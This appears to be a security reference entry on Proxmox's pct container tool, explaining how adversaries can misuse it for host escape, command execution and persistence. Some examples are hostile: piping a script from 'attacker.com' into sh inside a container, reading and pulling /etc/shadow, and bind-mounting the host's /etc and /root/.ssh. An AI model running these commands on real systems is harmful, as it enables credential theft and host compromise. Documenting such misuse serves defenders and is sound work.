pct (Proxmox Container Toolkit) is the command-line tool for managing LXC containers in Proxmox VE. It provides container lifecycle management including creation, configuration, and execution. Adversaries can leverage pct to spawn privileged containers for host escape, execute commands in existing containers, and manipulate container configurations for persistence.
/usr/sbin/pctLists all LXC containers on the current node with their CTID, status, lock, and name.
pct list
pct listpct list | grep runningDisplay full configuration of a container including mount points, networking, and privileges.
pct config {ctid}
pct config 100pct config 100 | grep -E "mount|features|unprivileged"Execute arbitrary commands inside a running container.
pct exec {ctid} -- command
pct exec 100 -- cat /etc/shadowpct exec 100 -- /bin/bash -c "whoami && id"pct exec 100 -- /bin/sh -c "curl http://attacker.com/shell.sh | sh"Open an interactive shell session inside a container.
pct enter {ctid}
Copy a file from the host into a container.
pct push {ctid} localfile remotefile
pct push 100 /tmp/payload.sh /tmp/payload.shCopy a file from a container to the host.
pct pull {ctid} remotefile localfile
pct pull 100 /etc/shadow /tmp/shadow.txtCreate a snapshot of a container.
pct snapshot {ctid} {snapname}
Add a bind mount from host filesystem to container.
pct set {ctid} -mp0 /host/path,mp=/container/path
pct set 100 -mp0 /etc,mp=/mnt/host-etcpct set 100 -mp0 /root/.ssh,mp=/mnt/ssh-keysEnable container nesting and keyctl features.
pct set {ctid} --features nesting=1,keyctl=1
Stop a running container.
pct stop {ctid}
Permanently destroy a container and its data.
pct destroy {ctid}
Create a new container from a template.
pct create {ctid} template.tar.gz --hostname backdoor --rootfs local:8